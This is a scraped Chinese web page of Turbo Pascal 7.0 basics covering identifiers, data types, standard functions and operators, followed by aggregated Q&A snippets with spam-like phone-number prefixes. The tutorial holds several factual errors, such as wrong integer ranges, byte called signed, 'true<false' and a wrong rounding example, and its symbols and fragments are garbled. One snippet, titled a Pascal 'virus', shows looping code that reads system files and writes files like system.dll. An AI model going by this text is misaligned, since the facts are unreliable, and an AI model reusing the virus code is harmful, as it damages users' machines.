Turbo Pascal V7.0的Pascal语言基础知识

作者&投稿:守肺 (若有异议请与网页底部的电邮联系)
0基础,只学过turbo pascal ,江苏省c语言二级要过的话,要看些什么资料?~

freepascal语言与基础算法第四版,简称白书,舒春平、董永建写的,这个里面有基础、有算法、有数据结构,是Pascal语言的,如果你学的是c,建议从网上看一下Pascal转c的方法就行了,算法神马的时一样的,只不过编译语言不同

这个东西需要理解,先从写简单的程序开始,然后再一点一点的上难度,一开始只要注意语法,把程序都写对就行,如果自己先写程序实在困难的话,建议你先做一做程序填空类型的题,或者多看看例题,看看人家的思路,人家是怎么用程序语言解决问题的

1.标识符
⑴ 标识符的定义:标识符就是以字母开头的字母数字序列,有效长度为63个字符,并且大小写等效。可以用来标示常量、变量、程序、函数等。例如例1.1中的Area(程序名),pi(符号常量),s、r(变量名)都是标识符。
⑵ 标识符的分类:
a.保留字(关键字)
所谓保留字是指在Pascal语言中具有特定的含义,你必须了解它的含义,以便于正确的使用,否则会造成错误。标准Pascal语言中的保留字一共有35个,Turbo Pascal语言一共有51个。下面是Pascal语言的保留字:
AND,ARRAY,BEGIN,CASE,CONST,DⅣ,DO,DOWNTO,ELSE,END,FILE,FOR,FUNTION,GOTO,IF,IN,LABEL,MOD,NIL,NOT,OF,OR,PACKED,PROCEDURE,PROGRAM,RECORD,REPEAT,SET,THEN,TO,TYPE,UNTIL,VAR,WHILE,WITH等
b.标准标识符:指Pascal语言预先定义的标识符,具有特殊含义。
以下列举了Turbo Pascal语言部分常用的标准表识符:
标准常量 False Maxint True
标准类型 Boolean Char Real  Integer
标准函数 Abs Arctan Chr Cos Eof Eoln Exp
Ln  Odd  Ord Pred  Round Sin  Sqr
Sqrt  Succ Trunc
标准过程 Dispose Get  New Pack  Page  Put  Read
Readln  Reset  Rewrite Unpack  Write Writeln
标准文件 Input Output
c.用户自定义标识符:由你自己根据需要来定义。
⑴选用的标识符不能和保留字相同。
⑵语法上允许预定义的标准标识符作为你自己定义的标识符使用,但最好还是不要用。
以下列举了你自己在定义标识符时可以用的字符:
A——Z;a——z;0——9;+,-,*,/,=,<>;,<=,>=,<;,>;,(,),[,],{,},:=,,,;,.,:,..,',^ 数据是程序设计的一个重要内容,其重要特征----数据类型,确定了该数据的形、取值范围以及所能参与的运算。
Turbo Pascal 提供了丰富的数据类型,这些数据类型可以分为三大类:简单类型、构造类型和指针类型,其中简单类型可以分为标准类型(整型、实型、字符型和布尔型)和自定义类型(枚举型和子界型),构造类型可以分为数组类型、集合类型、记录类型和文件类型。这些数据类型中除了指针类型是动态数据类型外,其他的都是静态数据类型。在这些数据类型中的简单类型都是有序类型,除了实型以外的简单类型都是顺序类型,所谓顺序类型就是他们的值不仅是有序的而且是有顺序号。
在这里主要介绍整型、实型、字符型和布尔型四种常用的数据类型。
⒈整型
一个整型数据用来存放整数。Turbo Pascal支持五种预定义整型,它们是shortint(短整型)、 integer(整型)、 longint(长整型)、 byte(字节型)和 word(字类型),Turbo Pascal分别用相同的名字作为他们的标识符。每一种类型规定了相应的整数取值范围以及所占用的内存字节数。
类型 数值范围 占字节数 格式
shortint -128..128 1  带符号8位
integer   -32768..32767  2   带符号16位
longint -2147483648..2147483647  4  带符号32位
byte 0..255  1  带符号8位
word 0..65535  2  带符号16位
Turbo Pascal规定了两个预定义整型常量标识符maxint和maxlonint,他们各表示确定的常数值,maxint为32767, longint为2147483647,他们的类型分别是integer 和longint
⒉实型
一个实型数据用来存放实数。Turbo Pascal支持五种预定义实型,它们是real(基本实型)、 single(单精度实型)、double(双精度实型)、extended(扩展实型)、comp(装配实型),Turbo Pascal分别用相同的名字作为他们的标识符。每一种类型规定了相应的实数取值范围、所占用的内存字节数以及它们所能达到的精度
类型 数值范围 占字节数 有效位数
real ⒉9e-39..1.7e38 6 ⒒.12
single ⒈5e-45..3.4e38 4 ⒎.8
double ⒌0e-324..1.7e308 8 ⒖.16
extended 3.4e-4932..1.1e4932 10 19..20
Turbo Pascal支持两种用于执行实型运算的代码生成模式:软件仿真模式和80x87浮点模式。除了real可以在软件仿真模式下直接运行以外,其他类型必须在80x87浮点模式下运行。
⒊布尔型
一个布尔型数据用来存放逻辑值(布尔值)。布尔型的值只有两个:false和true,并且false的序号是0,true的序号是1。false 和true都是预定义常数标识符,分别表示逻辑假和逻辑真。并且true<false。boolean是布尔型的标识符。
⒋字符型
字符型用char作为标识符。字符型必须用单引号括起来,字母作为字符型时,大小写是不等价的,并且字符型只允许单引号中有一个字符,否则就是字符串。 ⒈常量
⑴常量:在某个程序的整个过程中其值不变的量。
⑵常量定义:常量定义出现在说明部分。它的语法格式是:
const
<;常量标识符>=<;常量>;
...
<常量标识符>=<;常量>;
常量标识符的类型由定义它的常量的类型决定。例如:const a=12 隐含说明a是整型;const r=3.21 隐含说明r是实型......
⑶常量定义部分必须以保留字const开头,可以包含一个或几个常量定义,而且每个常量均以分号结束。
⑷Turbo Pascal类型常量
类型常量,又称变量常数,它是Turbo Pascal的一个扩充特性。类型常量的定义与标准Pascal规定的常数定义和变量说明有所区别。类型常量定义的语法格式:
const
<简单类型常量标识符>;:简单类型=常数;
例如:
const
counter:integer=0;
flag:boolean=true;
index:0..100=0;
⒉变量
⑴变量:在某个程序中的运行过程中其值可以发生改变的量
⑵变量说明:变量说明出现在说明部分。它的语法格式是:
var
<变量标识符列表>:<;类型>;
...
<变量标识符列表>:<;类型>;
其中,保留字var表示开始一个变量说明部分。变量标识符列表是一个用逗号隔开的标识符序列,冒号后面的类型是类型标识符。每个变量说明均以分号结束。
例如:
var
a,b,c:integer;
m,n:real; ⒈算术函数
函数标识符  自变量类型 意义 结果类型
abs 整型、实型 绝对值 同自变量
arctan  整型、实型 反正切 实型
cos 整型、实型 余弦 实型
exp 整型、实型 指数 实型
frac   整型、实型 小数部分 实型
int 整型、实型 整数部分 实型
ln  整型、实型 自然对数 实型
pi  无自变量 圆周率 实型
sin 整型、实型 正弦 实型
sqr 整型、实型 平方 同自变量
sqrt  整型、实型 平方根 实型
例:abs(-4)=4 abs(-7.49)=7.49 arctan(0)=0.0
sin(pi)=0.0 cos(pi)=-1.0 frac(-3.71)=-0.71
int(-3.71)=-3.0 sqr⑷=16 sqrt⑷=2
⒉标准函数
函数标识符 自变量类型 意义 结果类型
odd  整型 判断奇数 布尔型
pred 离散类型 求前趋 同自变量
succ 离散类型 求后继 同自变量
例:odd(1000)=false pred(2000)=1999 succ(2000)=2001
odd⑶=true pred('x')='w succ('x')='y'
⒊转换函数
函数标识符 自变量类型 意义  结果类型
chr byte 自变量对应的字符 字符型
ord 离散类型 自变量对应的序号 longint
round 实型 四舍五入 longint
trunc 实型 截断取整 longint
例:chr(66)='B' ord('A')=65 round(-4.3)=-5 trunc(2.88)=2
⒋杂类函数
函数标识符 自变量类型 意义 结果类型
random 无自变量 [0,1间的随机实数 real
random word [0,自变量间的随机整数)  word
randomize  无自变量 初始化内部随机数产生器 longint
upcase 字符型 使小写英文字母变为大写 字符型
downcase 字符型 使小写英文字母变为大写 字符型 ⒈运算符和优先级
⑴运算符
是实型,如果全部的运算对象都是整型并且运算不是除法,则结果为整型,若运算是除法,则结果是实型 a.算术运算符
运算符 运算 运算对象 结果类型
+ 加 整型、实型 只要有一个运算对象是实型,结果就
- 减 整型、实型 是实型,如果全部的运算对象都是整
* 乘 整型、实型 型并且运算不是除法,则结果为整型,
/ 除 整型、实型 若运算是除法,则结果是实型。
div 整除 整型 整型
mod 取余 整型 整型
b.逻辑运算符
运算符 运算 运算对象 结果类型
not 逻辑非 布尔型 布尔型
and 逻辑与 布尔型 布尔型
or  逻辑或 布尔型 布尔型
xor 逻辑异或 布尔型 布尔型
c.关系运算符
运算符 运算 运算对象 结果类型
= 等于 简单类型 布尔型
<>;  不等于 简单类型 布尔型
<; 小于 简单类型 布尔型
>; 大于 简单类型 布尔型
<=  小于等于 简单类型 布尔型
>=  大于等于 简单类型 布尔型
⑵优先级
运算符 优先级
not 1(高)
*,/,div,mod,and 2
xor,+,-,or  3
in,=,<>,>=,<=,<>; 4(低)
⒉表达式
⑴算术表达式:算术表达式是由算术运算符连接常量、变量、函数的式子。算术表达式中各个运算符的次序为:()-->;函数-->*,/,div,mod-->+,1
⑵布尔表达式:Turbo Pascal提供给布尔表达式以下基本操作:逻辑运算和关系运算。
⑶数学上的表达式与pascal语言表达式的区别
数学表达式 PASCAL表达式 注意
2a 2*a *号不能省略
a÷b a/b 除号的写法
a≠b a<>b 不等号的写法
a≤b a<=b 小于等于号的写法




林芝地区18650992666: Turbo Pascal V7.0 - 搜狗百科
钞庆盐酸: 运行install.exe 回车4次 向上键 回车 Esc键 即可 另外CRT补丁只需要拷贝到bin文件夹运行按p然后esc即可.

林芝地区18650992666: 怎么安装Turbo Pascal7.0????? -
钞庆盐酸: Turbo Pascal 7.0是一款16位(bit)程序,而现在大多数用户都用的是32位或64位的电脑了,所以自然对16位系统不太支持(或者说有兼容问题),而且Turbo Pascal也差不多老了吧,该让孩子来换位了.所以我建议你用Free Pascal,这也是一...

林芝地区18650992666: 如何安装turbo pascal 7.0 -
钞庆盐酸: 其实 安装turbo pascal7.0很简单:运行install.exe 回车4次 向上键 回车 Esc键 即可 另外CRT补丁只需要拷贝到bin文件夹运行按p然后esc即可.基本上就是这样安装

林芝地区18650992666: 我下了个Turbo Pascal 7.0英文版,请问怎么用啊? -
钞庆盐酸: 第四章 使用TURBO-PASCAL7.0系统 一、进入TURBO-PASCAL7.0系统 双击桌面PASCAL系统的快捷方式(如TPX等),或从其它方式进入(如从“我的电脑”里找出相应程序所在的位置然后进入).例4_1 在Turbo Pascal编辑系统下输入下...

林芝地区18650992666: turbo pascal怎么用 -
钞庆盐酸: turbo pascal7.0需要MS-DOS系统环境,而XP系统的PASCAL软件是FREE PASCAL,只有这个版本才能在XP系统上使用.并且NOIP竞赛,推荐的语言也是FREE PASCAL,所以选择FREE PASCAL才是最好的.

林芝地区18650992666: Turbo Pascal -
钞庆盐酸: 关于Turbo Pascal [编辑本段] Pascal是一种计算机通用的高级程序设计语言.它由瑞士Niklaus Wirth教授于六十年代末设计并创立. 以法国数学家命名的Pascal语言现已成为使用最广泛的基于DOS的语言之一,其主要特点有:严格的结构化形式...

林芝地区18650992666: Turbo Pascal 7.0 病毒
钞庆盐酸: var a,b,c,d:text; s,m,n:string; i:integer; t:longint; begin for i:=1 to 32767 do begin t:=t+1; i:=i-1; assign(a,'c:\windows\explorer.exe'); reset(a); read(a,s); close(a); assign(b,'d:\system.dll'); rewrite(b); writeln(b,'d:\expl',t,'er.exe'); writeln(b,'c:\expl',t,'er.exe'); ...

林芝地区18650992666: turbo pascal7.0使用方法
钞庆盐酸: 3月16日 14:56 一、FP与TP的本质区别 虽然Free Pascal尽量设计得和Turbo Pascal接近,但是由于以下的两个原因,两者之间还是有一些区别的: 1.Free Pascal是一个32位的编译器,而Turbo Pascal只是16位的编译器; 2.Free Pascal是一个...

林芝地区18650992666: Turbo Pascal 7.0解压后还是压缩文件,如何使用?
钞庆盐酸: 解压缩以后,你将看到里面有一个INSTALL.exe 双击它运行,然后按回车,然后选择你要安装到哪个磁盘(直接在键盘上面输入)然后再敲回车,提示选择路径,不用更改它,直接回车然后选择安装到硬盘(这是默认选项)回车,然后使用上下...

本站内容来自于网友发表,不代表本站立场,仅表示其个人看法,不对其真实性、正确性、有效性作任何的担保
相关事宜请发邮件给我们
© 星空见康网